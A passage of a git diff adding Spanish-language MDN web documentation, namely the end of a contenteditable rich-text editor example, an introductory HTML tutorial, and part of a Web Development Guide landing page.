+&lt;img class="intLink" title="Redo" onclick="formatDoc('redo');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAB1ChDljwl9vj1iE34Kl8aPD+7/I1////yH5BAEKAAcALAAAAAAWABYAAANKeLrc/jDKSesyphi7SiEgsVXZEATDICqBVJjpqWZt9NaEDNbQK1wCQsxlYnxMAImhyDoFAElJasRRvAZVRqqQXUy7Cgx4TC6bswkAOw==" /&gt;
+&lt;img class="intLink" title="Remove formatting" onclick="formatDoc('removeFormat')" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAABGdBTUEAALGPC/xhBQAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAOxAAADsQBlSsOGwAAAAd0SU1FB9oECQMCKPI8CIIAAAAIdEVYdENvbW1lbnQA9syWvwAAAuhJREFUOMtjYBgFxAB501ZWBvVaL2nHnlmk6mXCJbF69zU+Hz/9fB5O1lx+bg45qhl8/fYr5it3XrP/YWTUvvvk3VeqGXz70TvbJy8+Wv39+2/Hz19/mGwjZzuTYjALuoBv9jImaXHeyD3H7kU8fPj2ICML8z92dlbtMzdeiG3fco7J08foH1kurkm3E9iw54YvKwuTuom+LPt/BgbWf3//sf37/1/c02cCG1lB8f//f95DZx74MTMzshhoSm6szrQ/a6Ir/Z2RkfEjBxuLYFpDiDi6Af///2ckaHBp7+7wmavP5n76+P2ClrLIYl8H9W36auJCbCxM4szMTJac7Kza////R3H1w2cfWAgafPbqs5g7D95++/P1B4+ECK8tAwMDw/1H7159+/7r7ZcvPz4fOHbzEwMDwx8GBgaGnNatfHZx8zqrJ+4VJBh5CQEGOySEua/v3n7hXmqI8WUGBgYGL3vVG7fuPK3i5GD9/fja7ZsMDAzMG/Ze52mZeSj4yu1XEq/ff7W5dvfVAS1lsXc4Db7z8C3r8p7Qjf///2dnZGxlqJuyr3rPqQd/Hhyu7oSpYWScylDQsd3kzvnH738wMDzj5GBN1VIWW4c3KDon7VOvm7S3paB9u5qsU5/x5KUnlY+eexQbkLNsErK61+++VnAJcfkyMTIwffj0QwZbJDKjcETs1Y8evyd48toz8y/ffzv//vPP4veffxpX77z6l5JewHPu8MqTDAwMDLzyrjb/mZm0JcT5Lj+89+Ybm6zz95oMh7s4XbygN3Sluq4Mj5K8iKMgP4f0////fv77//8nLy+7MCcXmyYDAwODS9jM9tcvPypd35pne3ljdjvj26+H2dhYpuENikgfvQeXNmSl3tqepxXsqhXPyc666s+fv1fMdKR3TK72zpix8nTc7bdfhfkEeVbC9KhbK/9iYWHiErbu6MWbY/7//8/4//9/pgOnH6jGVazvFDRtq2VgiBIZrUTIBgCk+ivHvuEKwAAAAABJRU5ErkJggg=="&gt;
+&lt;img class="intLink" title="Bold" onclick="formatDoc('bold');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAInhI+pa+H9mJy0LhdgtrxzDG5WGFVk6aXqyk6Y9kXvKKNuLbb6zgMFADs=" /&gt;
+&lt;img class="intLink" title="Italic" onclick="formatDoc('italic');" src="data:image/gif;base64,R0lGODlhFgAWAKEDAAAAAF9vj5WIbf///yH5BAEAAAMALAAAAAAWABYAAAIjnI+py+0Po5x0gXvruEKHrF2BB1YiCWgbMFIYpsbyTNd2UwAAOw==" /&gt;
+&lt;img class="intLink" title="Underline" onclick="formatDoc('underline');" src="data:image/gif;base64,R0lGODlhFgAWAKECAAAAAF9vj////////yH5BAEAAAIALAAAAAAWABYAAAIrlI+py+0Po5zUgAsEzvEeL4Ea15EiJJ5PSqJmuwKBEKgxVuXWtun+DwxCCgA7" /&gt;
+&lt;img class="intLink" title="Left align" onclick="formatDoc('justifyleft');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JMGELkGYxo+qzl4nKyXAAAOw==" /&gt;
+&lt;img class="intLink" title="Center align" onclick="formatDoc('justifycenter');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIfhI+py+0Po5y02ouz3jL4D4JOGI7kaZ5Bqn4sycVbAQA7" /&gt;
+&lt;img class="intLink" title="Right align" onclick="formatDoc('justifyright');" src="data:image/gif;base64,R0lGODlhFgAWAID/AMDAwAAAACH5BAEAAAAALAAAAAAWABYAQAIghI+py+0Po5y02ouz3jL4D4JQGDLkGYxouqzl43JyVgAAOw==" /&gt;
+&lt;img class="intLink" title="Numbered list" onclick="formatDoc('insertorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAADljwliE35GjuaezxtHa7P///////yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKSespwjoRFvggCBUBoTFBeq6QIAysQnRHaEOzyaZ07Lu9lUBnC0UGQU1K52s6n5oEADs=" /&gt;
+&lt;img class="intLink" title="Dotted list" onclick="formatDoc('insertunorderedlist');" src="data:image/gif;base64,R0lGODlhFgAWAMIGAAAAAB1ChF9vj1iE33mOrqezxv///////yH5BAEAAAcALAAAAAAWABYAAAMyeLrc/jDKSesppNhGRlBAKIZRERBbqm6YtnbfMY7lud64UwiuKnigGQliQuWOyKQykgAAOw==" /&gt;
+&lt;img class="intLink" title="Quote" onclick="formatDoc('formatblock','blockquote');" src="data:image/gif;base64,R0lGODlhFgAWAIQXAC1NqjFRjkBgmT9nqUJnsk9xrFJ7u2R9qmKBt1iGzHmOrm6Sz4OXw3Odz4Cl2ZSnw6KxyqO306K63bG70bTB0rDI3bvI4P///////////////////////////////////yH5BAEKAB8ALAAAAAAWABYAAAVP4CeOZGmeaKqubEs2CekkErvEI1zZuOgYFlakECEZFi0GgTGKEBATFmJAVXweVOoKEQgABB9IQDCmrLpjETrQQlhHjINrTq/b7/i8fp8PAQA7" /&gt;
+&lt;img class="intLink" title="Add indentation" onclick="formatDoc('outdent');" src="data:image/gif;base64,R0lGODlhFgAWAMIHAAAAADljwliE35GjuaezxtDV3NHa7P///yH5BAEAAAcALAAAAAAWABYAAAM2eLrc/jDKCQG9F2i7u8agQgyK1z2EIBil+TWqEMxhMczsYVJ3e4ahk+sFnAgtxSQDqWw6n5cEADs=" /&gt;
+&lt;img class="intLink" title="Delete indentation" onclick="formatDoc('indent');" src="data:image/gif;base64,R0lGODlhFgAWAOMIAAAAADljwl9vj1iE35GjuaezxtDV3NHa7P///////////////////////////////yH5BAEAAAgALAAAAAAWABYAAAQ7EMlJq704650B/x8gemMpgugwHJNZXodKsO5oqUOgo5KhBwWESyMQsCRDHu9VOyk5TM9zSpFSr9gsJwIAOw==" /&gt;
+&lt;img class="intLink" title="Hyperlink" onclick="var sLnk=prompt('Write the URL here','http:\/\/');if(sLnk&amp;&amp;sLnk!=''&amp;&amp;sLnk!='http://'){formatDoc('createlink',sLnk)}" src="data:image/gif;base64,R0lGODlhFgAWAOMKAB1ChDRLY19vj3mOrpGjuaezxrCztb/I19Ha7Pv8/f///////////////////////yH5BAEKAA8ALAAAAAAWABYAAARY8MlJq7046827/2BYIQVhHg9pEgVGIklyDEUBy/RlE4FQF4dCj2AQXAiJQDCWQCAEBwIioEMQBgSAFhDAGghGi9XgHAhMNoSZgJkJei33UESv2+/4vD4TAQA7" /&gt;
+&lt;img class="intLink" title="Cut" onclick="formatDoc('cut');" src="data:image/gif;base64,R0lGODlhFgAWAIQSAB1ChBFNsRJTySJYwjljwkxwl19vj1dusYODhl6MnHmOrpqbmpGjuaezxrCztcDCxL/I18rL1P///////////////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAVu4CeOZGmeaKqubDs6TNnEbGNApNG0kbGMi5trwcA9GArXh+FAfBAw5UexUDAQESkRsfhJPwaH4YsEGAAJGisRGAQY7UCC9ZAXBB+74LGCRxIEHwAHdWooDgGJcwpxDisQBQRjIgkDCVlfmZqbmiEAOw==" /&gt;
+&lt;img class="intLink" title="Copy" onclick="formatDoc('copy');" src="data:image/gif;base64,R0lGODlhFgAWAIQcAB1ChBFNsTRLYyJYwjljwl9vj1iE31iGzF6MnHWX9HOdz5GjuYCl2YKl8ZOt4qezxqK63aK/9KPD+7DI3b/I17LM/MrL1MLY9NHa7OPs++bx/Pv8/f///////////////yH5BAEAAB8ALAAAAAAWABYAAAWG4CeOZGmeaKqubOum1SQ/kPVOW749BeVSus2CgrCxHptLBbOQxCSNCCaF1GUqwQbBd0JGJAyGJJiobE+LnCaDcXAaEoxhQACgNw0FQx9kP+wmaRgYFBQNeAoGihCAJQsCkJAKOhgXEw8BLQYciooHf5o7EA+kC40qBKkAAAGrpy+wsbKzIiEAOw==" /&gt;
+&lt;img class="intLink" title="Paste" onclick="formatDoc('paste');" src="data:image/gif;base64,R0lGODlhFgAWAIQUAD04KTRLY2tXQF9vj414WZWIbXmOrpqbmpGjudClFaezxsa0cb/I1+3YitHa7PrkIPHvbuPs+/fvrvv8/f///////////////////////////////////////////////yH5BAEAAB8ALAAAAAAWABYAAAWN4CeOZGmeaKqubGsusPvBSyFJjVDs6nJLB0khR4AkBCmfsCGBQAoCwjF5gwquVykSFbwZE+AwIBV0GhFog2EwIDchjwRiQo9E2Fx4XD5R+B0DDAEnBXBhBhN2DgwDAQFjJYVhCQYRfgoIDGiQJAWTCQMRiwwMfgicnVcAAAMOaK+bLAOrtLUyt7i5uiUhADs=" /&gt;
+&lt;/div&gt;
+&lt;div id="textBox" contenteditable="true"&gt;&lt;p&gt;Lorem ipsum&lt;/p&gt;&lt;/div&gt;
+&lt;p id="editMode"&gt;&lt;input type="checkbox" name="switchMode" id="switchBox" onchange="setDocMode(this.checked);" /&gt; &lt;label for="switchBox"&gt;Show HTML&lt;/label&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+</div>
+
+<div class="note"><strong>Nota:</strong> si quieres ver cómo estandarizar la creación y la inserción de tu editor en tu página, puedes ver nuestro <a class="internal" href="/@api/deki/files/6243/=rich-text-editor.zip" title="rich-text-editor.zip">más completo ejemplo de editor de texto enriquecido</a>.</div>
+
+<h2 id="Véase_también">Véase también</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.contentEditable")}}</li>
+ <li>El atributo global {{htmlattrxref("contenteditable")}} </li>
+ <li><a href="/en-US/docs/Mozilla/Projects/Midas">Midas</a> (el componente de editor de texto programable)</li>
+ <li>Browser Support <a href="http://caniuse.com/#feat=contenteditable"> http://caniuse.com/#feat=contenteditable</a></li>
+</ul>
diff --git a/files/es/web/guide/html/introduction_alhtml_clone/index.html b/files/es/web/guide/html/introduction_alhtml_clone/index.html
new file mode 100644
index 0000000000..991cf90181
--- /dev/null
+++ b/files/es/web/guide/html/introduction_alhtml_clone/index.html
@@ -0,0 +1,172 @@
+---
+title: Introducción al HTML
+slug: Web/Guide/HTML/Introduction_alhtml_clone
+tags:
+  - HTML
+---
+<p>Cuando miras una página web en el navegador, lo que ves a simple vista son palabras. Estas palabras normalmente tienen algunas características, como diferentes tamaños y colores. En algunos casos la página web puede mostrar imágenes o incluso vídeos. Otras veces, formularios donde puedes introducir o buscar información, o personalizar la apariencia de la página que estás viendo. La página también puede contener animaciones y contenidos que cambian mientras el resto de la página se mantiene sin cambios.</p>
+
+<p>Varias tecnologías (como <a href="/en-US/docs/CSS" title="CSS">CSS</a>, <a href="/en-US/docs/JavaScript/About_JavaScript" title="JavaScript/About_JavaScript">JavaScript</a>, <a href="/en-US/docs/Scripting_Plugins/Adobe_Flash" title="Scripting_Plugins/Adobe_Flash">Flash</a>, <a href="/en-US/docs/AJAX" title="AJAX">AJAX</a>, <a href="/en-US/docs/JSON" title="JSON">JSON</a>) pueden usarse para definir los elementos que componen una página web. Sin embargo, en el nivel más bajo, una página web se define usando <a href="/en-US/docs/HTML" title="HTML"><strong>HTML</strong></a> (<strong>HyperText Markup Language)</strong>. Sin HTML, no habría páginas web.</p>
+
+<p>Este artículo proporciona una introducción al HTML. Si alguna vez te has preguntado qué ocurre detrás de tu navegador web, este artículo es el mejor lugar para empezar a aprender.</p>
+
+<h2 id="Una_breve_historia_del_HTML">Una breve historia del HTML</h2>
+
+<p>A finales de la década de los 80s, <a href="http://www.w3.org/People/Berners-Lee/" title="http://www.w3.org/People/Berners-Lee/">Tim Berners-Lee</a> estuvo trabajando como físico en <a href="http://public.web.cern.ch/public/" title="http://public.web.cern.ch/public/">CERN</a> (las siglas inglesas de la Organización Europea para la Investigación Nuclear). Ideó un sistema para que los científicos pudieran compartir documentos a través de internet. Antes de su invención, las comunicaciones por Internet sólo permitían transmitir texto plano, empleando tecnologías como el email, <a href="http://en.wikipedia.org/wiki/Ftp" title="http://en.wikipedia.org/wiki/Ftp">FTP</a> (File Transfer Protocol), y <a href="http://en.wikipedia.org/wiki/Usenet" title="http://en.wikipedia.org/wiki/Usenet">Usenet</a>- tecnología en la que se basan los foros de internet. La invención del HTML permitió el uso de un modelo de contenido almacenado en un servidor central, que podía ser mostrado en un terminal local mediante un navegador. Esto simplificó el acceso al contenido y habilitó la posibilidad de mostrar contenido "enriquecido" (como un sofisticado texto formateado y visualización de imagenes).</p>
+
+<h2 id="¿Qué_es_el_HTML">¿Qué es el HTML?</h2>
+
+<p>HTML es un <strong>lenguaje de etiquetas</strong>. Indica al navegador como tiene que mostrar el contenido. El HTML separa el "contenido" (palabras, imágenes, audio, video, etc.) de la "presentación" (la definición del tipo de contenido y las instrucciones de cómo esos contenidos tienen que mostrarse). El HTML emplea un conjunto de elementos predefinidos que permiten identificar los distintos tipos de elementos. Estos elementos contienen una o más etiquetas que contienen o expresan el contenido. Estas etiquetas suelen ir encapsuladas entre los símbolos &lt;&gt;, y las etiquetas de cierre (que indican el final de un determinado contenido) están precedidas por una barra /.</p>
+
+<p>Por ejemplo, el elemento párrafo consiste en una etiqueta de inicio como esta "&lt;p&gt;" y una de cierre "&lt;/p&gt;". El siguiente ejemplo muestra un párrafo que está contenido dentro del elemento párrafo en HTML:</p>
+
+<div id="Spl1">
+<pre class="brush:html;">&lt;p&gt;Mi perro odia el pescado.&lt;/p&gt;</pre>
+</div>
+
+<p>Cuando este contenido se muestra en una página web, mediante un navegador, aparece así:</p>
+
+<p>{{ EmbedLiveSample("Spl1", 400, 50) }}</p>
+
+<p>El navegador emplea las etiquetas como guías para saber cómo debe ser mostrado el contenido que hay dentro de dichas etiquetas.</p>
+
+<p>Los elementos que contienen contenidos, normalmente suelen contener también otros elementos. Por ejemplo, el elemento énfasis (etiqueta &lt;em&gt;) puede estar dentro del elemento párrafo:</p>
+
+<div id="Spl2">
+<pre class="brush:html;">&lt;p&gt;Mi perro &lt;em&gt;odia&lt;/em&gt; el pescado.&lt;/p&gt;</pre>
+</div>
+
+<p>Cuando se muestre se verá del siguiente modo:</p>
+
+<p>{{ EmbedLiveSample("Spl2", 400, 50) }}</p>
+
+<p>Algunos elementos no contienen otros elementos.  Como es el caso de la etiqueta imagen ("&lt;img&gt;") que simplemente especifica el nombre del archivo que contiene la imagen como atributo:</p>
+
+<pre class="brush:html;">&lt;img src="smileyface.jpg"&gt;</pre>
+
+<p>En ocasiones, suele ponerse una barra "/" al final de la etiqueta, justo antes del cierre de la misma "&gt;" para indicar el final de la misma "/&gt;". Aunque se trata de algo opcional en HTML, en <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> es obligatoria (que es un lenguaje que permite una forma de poder implementar XML en los elementos del HTML).</p>
+
+<p>El resto de este artículo describe con un mayor detalle los conceptos descritos en esta sección. Además, si quieres ver HTML en acción, pásate por <a href="http://thimble.webmaker.org/en-US/projects/wrangler/edit" title="http://thimble.webmaker.org/en-US/projects/wrangler/edit">Mozilla Thimble</a>, que es un editor online  interactivo que enseña cómo escribir HTML. Además, en el <a href="/en-US/docs/HTML/HTML_Elements" title="HTML/HTML_Elements">HTML Elements</a> podrás ver una lista de los elementos HTML disponibles, así como una descripción de los mismos y el uso de cada uno de ellos.</p>
+
+<h2 id="Elementos_—_los_bloques_básicos_de_construcción">Elementos — los bloques básicos de construcción</h2>
+
+<p>El HTML consiste en una serie de elementos. Los Elementos definen el significado <strong>semántico</strong> del contenido. Todos los Elementos están incluídos entre dos grandes etiquetas, que a su vez contienen otras etiquetas. Por ejemplo, el elemento "&lt;p&gt;" indica un párrafo; el elemento "&lt;img&gt;" indica una imagen. Mira la página <a href="/en-US/docs/HTML/Element" title="HTML/Element">HTML Elements</a> para ver una lista completa de todos los elementos.</p>
+
+<p>Algunos elementos tienen un significado muy preciso, como "esto es una imagen", "esto es un encabezado" o "esto es una lista ordenada". Otros elementos resultan menos específicos, como "esto es una sección de una página" o "esto es parte de un texto". Finalmente otros elementos son usados por razones técnicas, como "esto es la información identificativa de la página que no debe ser mostrada". De un modo y otro, todos los elementos del HTML tienen un determinado valor semántico.</p>
+
+<p>Muchos elementos contienen otros elementos, formando una estructura jerárquica. Un ejemplo simple, pero completo de una página web sería este:</p>
+
+<pre class="brush:html;">&lt;html&gt;
+  &lt;body&gt;
+
+    &lt;p&gt;Mi perro &lt;em&gt;odia&lt;/em&gt; el pescado.&lt;/p&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Como puedes ver, los elementos &lt;html&gt; encierran el resto del documento, y el elemento &lt;body&gt; encierra el contenido de la página. Esta estructura crece con las ramas de un árbol, donde los elementos &lt;body&gt; y &lt;p&gt; son las ramas que crecen del tronco que es &lt;html&gt;. Esta estructura jerárquica es lo que se denomina <strong>DOM</strong>: siglas inglesas del Documento Objeto Modelo (<strong>Document Object Model)</strong>.</p>
+
+<h2 id="Etiquetas">Etiquetas</h2>
+
+<p>Los documentos HTML están escritos en texto plano. Pueden ser escritos mediante editores de texto capaces de guardar contenido de texto plano (aunque la mayor parte de los creadores de código HTML prefieren editores especializados que resaltan las partes de código propias de la sintaxis del HTML y muestran el DOM). Los nombres de las Etiquetas, pueden escribirse en mayúsculas o en minúsculas. Aunque, el <a href="http://www.w3.org/" title="http://www.w3.org/">W3C</a> (Asociación Global que vela por mantener los estándares HTML) recomiendan usar minúsculas (y además el <a href="/en-US/docs/XHTML" title="XHTML">XHTML</a> requiere de las minúsculas).</p>
+
+<p>El código HTML contenido entre los signos de menor que ("&lt;") al comienzo y mayor que ("&gt;") al final, tienen un significado especial. Es lo que denominamos etiquetas. He aquí un ejemplo sencillo:</p>
+
+<pre class="brush: xml">&lt;p&gt;Esto es texto dentro de un párrafo.&lt;/p&gt;
+</pre>
+
+<p>En este ejemplo hay una etiqueta de comienzo y otra de cierre. Las etiquetas de cierre son las mismas que las etiquetas de comienzo sólo que contienen una barra justo después del signo menor que. Muchos elementos de HTML se escriben empleando las dos etiquetas de comienzo y final. Las etiquetas de comiezo y final de un elemento deben estar adecuadamente anidadas, esto significa que las etiquetas de cierre deben escribirse en el orden inverso al de las etiquetas de inicio. La regla del anidamiento de etiquetas tiene que cumplirse de forma escrupulosa para poder escribir <strong>código válido</strong>.</p>
+
+<p>Esto es un ejemplo de <em>código válido</em>:</p>
+
+<pre class="brush: xml">&lt;em&gt;Me &lt;strong&gt;refiero&lt;/strong&gt; a eso&lt;/em&gt;.
+</pre>
+
+<p>Esto es un ejemplo de <em>código inválido</em>:</p>
+
+<pre class="brush: xml">Invalido: &lt;em&gt;Me &lt;strong&gt;refiero&lt;/em&gt; a eso&lt;/strong&gt;.</pre>
+
+<p>Observa que en el ejemplo válido, la etiqueta de cierre para el elemento anidado está situada antes de la etiqueta de cierre del elemento que la contenedor.</p>
+
+<div class="note">
+<p>Hasta la adopción de las reglas revisadas del HTML5, los navegadores no interpretaban los códigos no válidos del mismo modo y provocaban distintos resultados cuando se encontraban con estas partes de código. Los navegadores eran tolerantes con los autores de código Web, pero por desgracia no todos de la misma forma, llevando a situaciones impredecibles a la hora de interpretar códigos no válidos de HTML. Pero esos días han acabado tras la última evolución de los navegadores como Internet Explorer 10, Firefox 4, Opera 11.60, Chrome 18 o Safari 5, a medida que han implementado las nuevas normas de interpretación de código HTML no válido. Aquí puede ver el resultado de un código invalido para el mismo arbol DOM <a class="external" href="http://arstechnica.com/open-source/news/2011/11/a-look-at-the-state-of-html5-parsing-and-the-opera-1160-beta.ars" title="http://arstechnica.com/open-source/news/2011/11/a-look-at-the-state-of-html5-parsing-and-the-opera-1160-beta.ars">en todos los navegadores modernos</a>.</p>
+</div>
+
+<p>Algunos elementos no contienen texto o ningún otro elemento. Es lo que se denominan elementos vacíos y no necesitan etiquetas de cierre. Este es un ejemplo:</p>
+
+<pre class="brush: xml">&lt;img src="smileyface.jpg"&gt;</pre>
+
+<p>Mucha gente marca los elementos vacíos usando una barra al final de la etiqueta, justo antes del simbolo mayor que (necesario en los códigos de XHTML).</p>
+
+<pre class="brush: xml">&lt;img src="smileyface.jpg" /&gt;</pre>
+
+<p>En HTML esta barra no aporta ninguna funcionalidad técnica y su uso es solamente una elección de estilo.</p>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>La etiqueta de comienzo puede contener información adicional, tal y como puede verse en el siguiente ejemplo. Dicha información es lo que se conoce como <strong>atributos</strong>. Los atributos suelen consistir en dor partes:</p>
+
+<ul>
+ <li>Un atributo <strong>nombre </strong>(name).</li>
+ <li>Un atributo <strong>valor</strong> (value).</li>
+</ul>
+
+<p>Algunos atributos sólo pueden tener un único valor. Son atributos <strong>Booleanos</strong> y pueden ser incluidos para especificar el nombre del atributo, o dejar su valor vacío. Así los siguientes tres ejemplos tienen el mismo significado:</p>
+
+<pre class="brush: xml">&lt;input required="required"&gt;
+
+&lt;input required=""&gt;
+
+&lt;input required&gt;
+</pre>
+
+<p>Los valores de los atributos que constan de una sola palabra o un número se pueden escribir tal cual, pero en cuanto hay dos o más cadenas de caracteres en el valor, éstos deben escribirse entre comillas. Están permitidas tanto las comillas simples ('), como las comillas dobles (") aunque muchos desarrolladores prefieren utilizar siempre comillas simples para que el código sea menos ambiguo para la vista y para evitar errores. El siguiente es semejante error..:Attribute values that consist of a single word or number may be written as they are, but as soon as there are two or more strings of characters in the value, it must be written within quotation marks. Both single quotes (') and double quotes (") are allowed. Many developers prefer to always use quotes to make the code less ambiguous to the eye and to avoid mistakes. El siguiente código sería un error:</p>
+
+<pre class="brush: xml">&lt;p class=foo bar&gt; (Ten cuidado, esto probablemente no quiere decir lo que piensas que significa.)</pre>
+
+<p>En este ejemplo suponemos que el valor del atributo es "foo bar" pero al no haber comillas en el código se interpreta como si se hubiera escrito así:</p>
+
+<pre class="brush: xml">&lt;p class="foo" bar=""&gt;</pre>
+
+<h2 id="Nombre_de_caracteres_referenciados">Nombre de caracteres referenciados</h2>
+
+<p>Los<strong> Caraceteres Referenciados </strong> (a veces llamados<em> entidades) </em>son combinaciones de caracteres que sirven para mostrar en el navegador símbolos que tienen un significado especial en el código HTML. Por ejemplo, HTML interpreta que el símbolo menor que y mayor que son delimitadores de una etiqueta. Si quieres que estos simbolos sean mostrados en el contenido del texto, debemos usar los nombres de referencia de estos caracteres. Aquí están los cuatro caracteres referenciados más comunes, que no estaría de más que memorizases:</p>
+
+<ul>
+ <li><code>&amp;gt;</code> representa el carater mayor que (<code>&gt;</code>)</li>
+ <li><code>&amp;lt;</code> representa el caracter menor que (<code>&lt;</code>)</li>
+ <li><code>&amp;amp;</code> representa el caracter ampersand (<code>&amp;</code>)</li>
+ <li><code>&amp;quot;</code> representa el caracter de comillas dobles (")</li>
+</ul>
+
+<p>Hay <a class="external" href="http://www.w3.org/TR/2011/WD-html5-20110113/named-character-references.html" title="http://www.w3.org/TR/html5/named-character-references.html#named-character-references">muchas más entidades</a>, pero estas cuatro son las más importantes por que representan caracteres que tienen un significado especial en HTML.</p>
+
+<h2 id="Tipo_de_documento_y_comentarios">Tipo de documento y comentarios</h2>
+
+<p>Además de las etiquetas, el contenido y las entidades, un documento de HTML debe contener una declaración <strong>doctype</strong> en la primera línea. En el HTML actual esto se escribe del siguiente modo:</p>
+
+<pre class="brush: xml">&lt;!DOCTYPE html&gt;</pre>
+
+<p>El doctype tiene una historia larga y complicada, pero todo lo que necesitas saber ahora es que el doctype le dice al navegador que interprete el código HTML y CSS de acuerdo a los estándares web del <a href="http://www.w3.org/" title="http://www.w3.org/">W3C</a> y que no trate de emular que se trata de un Internet Explorer de los 90's. (Consultar <a href="/en-US/docs/Quirks_Mode_and_Standards_Mode" title="Mozilla's Quirks Mode">peculiaridades</a>.)</p>
+
+<p>HTML tiene un mecanismo para poder introducir <strong>comentarios</strong> al código que no serán mostrados en la página cuando esta sea interpretada o leída por un navegador web. Esto suele emplearse para añadir explicaciones al código, o dejar notas para explicar a otras personas cómo trabaja el código de la página, o simplemente para dejar recordatorios para uno mismo. Los comentarios en HTML están contenidos entre los siguientes símbolos:</p>
+
+<pre class="brush: xml">&lt;!-- Esto es un comentario de texto --&gt;</pre>
+
+<h2 id="Un_pequeño_documento_pero_completo">Un pequeño documento pero completo</h2>
+
+<p>Colocando todas estas explicaciones juntas, aquí os dejamos un pequeño ejemplo de un documento HTML completo. Puedes copiar este código en un editor de textos, guardarlo como <em>myfirstdoc.html</em> y cargarlo en un navegador. Asegurate de estar usando los códigos de caracteres UTF-8. Dado que este documento no utiliza estilos (CSS) su apariencia será muy plana, pero sólo se trata de un pequeño comienzo.</p>
+
+<pre class="brush: xml">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+  &lt;meta charset="utf-8" /&gt;
+  &lt;title&gt;A tiny document&lt;/title&gt;
+&lt;/head&gt;
+&lt;body&gt;
+  &lt;h1&gt;Main heading in my document&lt;/h1&gt;
+  &lt;!-- Note that it is "h" + "1", not "h" + the letter "one" --&gt;
+  &lt;p&gt;Loook Ma, I am coding &lt;abbr title="Hyper Text Markup Language"&gt;HTML&lt;/abbr&gt;.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
diff --git a/files/es/web/guide/index.html b/files/es/web/guide/index.html
new file mode 100644
index 0000000000..7de6c6ee26
--- /dev/null
+++ b/files/es/web/guide/index.html
@@ -0,0 +1,72 @@
+---
+title: Guía de Desarrollo Web
+slug: Web/Guide
+tags:
+  - Guia(2)
+  - Guía
+  - Landing
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Web/Guide
+---
+<dl>
+ <dt>Este artículo proporciona información para ayudarte a hacer uso de tecnologías y APIs.</dt>
+</dl>
+
+<div>
+<div>
+<div class="row topicpage-table">
+<div class="section">
+<dl>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Learn/HTML">Área de aprendizaje HTML</a></dt>
+ <dd class="landingPageList"><strong>HyperText Markup Language</strong> (lenguaje de marcas de hipertexto) es el lenguaje principal de prácticamente todo el contenido web. La mayoría de las cosas que ves en en la pantalla de tu navegador están escritas, fundamentalmente, utilizando HTML.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/es/docs/Web/Guide/CSS">Guía del Desarrollador: CSS</a></dt>
+ <dd class="landingPageList">CSS (hojas de estilo en cascada) es un lenguaje usado para describir la presentación gráfica de un documento escrito en HTML.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Events">Guía de Eventos </a></dt>
+ <dd class="landingPageList">El término "Eventos" se refiere tanto al patrón de diseño usado para el manejo asíncrono de sucesos que ocurren durante el tiempo de vida de una página web como al nombramiento, caracterización y uso de grandes cantidades de sucesos de diferentes tipos.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/AJAX">AJAX</a></dt>
+ <dd class="landingPageList">AJAX es el término utilizado para definir un conjunto de tecnologías que permiten a las aplicaciones web hacer rápidamente actualizaciones incrementales a la interfaz de usuario sin la necesidad de recargar toda la página web. Esto permite que las aplicaciones web sean más rápidas y más responsivas a las acciones de los usuarios.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/es/docs/Web/Guide/Graphics">Elementos Gráficos en la Web</a></dt>
+ <dd class="landingPageList">Las páginas web y aplicaciones modernas a menudo necesitan presentar elementos gráficos (2D, 3D o video).</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API">Guía de Web APIs</a></dt>
+ <dd class="landingPageList">Listado de todas las APIs web y qué hacen.</dd>
+ <dt><a href="/en-US/docs/JavaScript" title="/en-US/docs/JavaScript">JavaScript</a></dt>
+ <dd>JavaScript es un poderoso lenguaje de scripting utilizado para crear aplicaciones para la Web.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Localizations_and_character_encodings">Localización y codificación de Caracteres</a></dt>
+ <dd class="landingPageList">Los navegadores procesan el texto internamente como Unicode. No obstante, una forma de representar los caracteres a nivel de bytes (codificación) se usa para transferir texto a través de la red a un navegador web. En <a class="external external-icon" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/semantics.html#charset">recomendaciones de la especificación HTML</a> se aconseja el uso de la codificación UTF-8 (que puede representar todo Unicode) e independientemente de la codificación usada se requiere que el contenido web declare que codificación utiliza.</dd>
+ <dt class="landingPageList"><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Mobile">Desarrollo Web Móvil</a></dt>
